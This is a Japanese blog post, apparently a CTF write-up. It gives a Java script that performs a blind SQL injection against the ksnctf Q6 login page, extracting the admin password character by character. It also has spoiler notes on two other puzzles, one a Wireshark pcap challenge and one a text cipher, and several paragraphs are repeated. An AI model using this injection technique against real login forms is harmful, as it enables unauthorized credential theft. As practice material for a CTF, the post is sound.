記事は新しいブログに移動しました。
http://www.maytry.net/cygwin-zsh-keybind-delete-home-end/
ksnctfのq6のLoginですが、ググってみたらpythonで解いてる方がすでにいました笑
ksnctf #6 Login Write-Up
かなり詳しく、しかも一番上に出てくるし、ほぼ答えみたいな感じなので大丈夫なのかな?と思ったんですが、まあ大丈夫だということで、このページを参考に私なりにJavaで書き換えたコードを載せておきます。
簡単なHTTP通信の勉強にもなって良かったです。
Q06.java
ksnctf #6 Login Write-Up
かなり詳しく、しかも一番上に出てくるし、ほぼ答えみたいな感じなので大丈夫なのかな?と思ったんですが、まあ大丈夫だということで、このページを参考に私なりにJavaで書き換えたコードを載せておきます。
簡単なHTTP通信の勉強にもなって良かったです。
Q06.java
import java.io.*;
import java.net.*;
import java.util.*;
class Q06 {
private static final String urlStr = "http://ctfq.sweetduet.info:10080/~q6/";
public static void main(String[] args) {
// 21文字分のループ(すでに調べてたので)
for(int i=1; i<22; i++) {
// 文字コード変換
for(int j=33; j<127; j++) {
char c = (char)j;
String paramStr = new String("id=admin' and substr((SELECT pass FROM user WHERE id='admin')," + i + ",1)='" + c + "'--");
if(isCorrect(paramStr)) {
// マッチした文字を表示
System.out.print(c);
break;
}
}
}
System.out.println();
}
// SQLインジェクションが成功したかを返す
private static boolean isCorrect(String paramStr) {
try {
URL url = new URL(urlStr);
HttpURLConnection con = (HttpURLConnection)url.openConnection();
con.setDoOutput(true);
con.setInstanceFollowRedirects(false);
con.setRequestMethod("POST");
// send
PrintWriter pw = new PrintWriter(con.getOutputStream());
pw.print(paramStr);
pw.close();
// receive body
BufferedReader br = new BufferedReader(new InputStreamReader(con.getInputStream(), "UTF-8"));
String line = "";
while((line = br.readLine()) != null) {
// HTMLにCongratulations!が含まれていたら表示
if(line.matches(".*Congratulations!.*")) {
return true;
}
}
br.close();
con.disconnect();
} catch(Exception e) {
e.printStackTrace();
}
return false;
}
}
久しぶりにまだ解いていなかった8946の問題を2問ほど解いてみました。以下にメモ代わりにネタバレコメントを残しておきますので、まだ解いてない人は注意してください。
Take#40
これ、思ったより解けてない人が多くて、すごく難しいのかと思ってました。ダウンロードするファイルはcapファイル。まあこの手の問題はWiresharkを使うのが手っ取り早いと思います。通信のやり取りを見ると、password.zipなるいかにもなファイルがあるので、File -> Export Objects -> HTTP でこれを抽出。
中身を見ようとするとパスがかかってて、ブルートフォースしてもいいんですが、他にヒントがないかもう一度capを調べる。中ではpingを二つのIPアドレスに飛ばしてるんだけど、片方からは応答がないし、ここら辺が怪しい。pingってデータの中身は適当らしいが…
そんなこんなでpassword.zipの中にあるパスワード計算.txtをゲットして、計算をするんですが、ここで結構つまづきました(笑)みなさん、計算はちゃんと厳密にやりましょう(笑)
Take#61
答えとなる文字列と、それを解読するためのテキストが与えられる。これは気付けば非常に単純だが、ちょっと英語が苦手だと無理かもしれません。あ、これが結構ヒントになってます(笑)
まず着目するのはaaaの文字列。検索してみると、かなりの頻度で出てきます。aaaみたいに並ぶ文字って、wwwぐらいしか見たことないんですが、どうもそんな感じではない。よくよく見ると、aaaの現れる前後にちょくちょくカンマやピリオド、数字がある。ここから閃くことが出来れば、あとは頑張ればいけます。
Take#40
これ、思ったより解けてない人が多くて、すごく難しいのかと思ってました。ダウンロードするファイルはcapファイル。まあこの手の問題はWiresharkを使うのが手っ取り早いと思います。通信のやり取りを見ると、password.zipなるいかにもなファイルがあるので、File -> Export Objects -> HTTP でこれを抽出。
中身を見ようとするとパスがかかってて、ブルートフォースしてもいいんですが、他にヒントがないかもう一度capを調べる。中ではpingを二つのIPアドレスに飛ばしてるんだけど、片方からは応答がないし、ここら辺が怪しい。pingってデータの中身は適当らしいが…
そんなこんなでpassword.zipの中にあるパスワード計算.txtをゲットして、計算をするんですが、ここで結構つまづきました(笑)みなさん、計算はちゃんと厳密にやりましょう(笑)
Take#61
答えとなる文字列と、それを解読するためのテキストが与えられる。これは気付けば非常に単純だが、ちょっと英語が苦手だと無理かもしれません。あ、これが結構ヒントになってます(笑)
まず着目するのはaaaの文字列。検索してみると、かなりの頻度で出てきます。aaaみたいに並ぶ文字って、wwwぐらいしか見たことないんですが、どうもそんな感じではない。よくよく見ると、aaaの現れる前後にちょくちょくカンマやピリオド、数字がある。ここから閃くことが出来れば、あとは頑張ればいけます。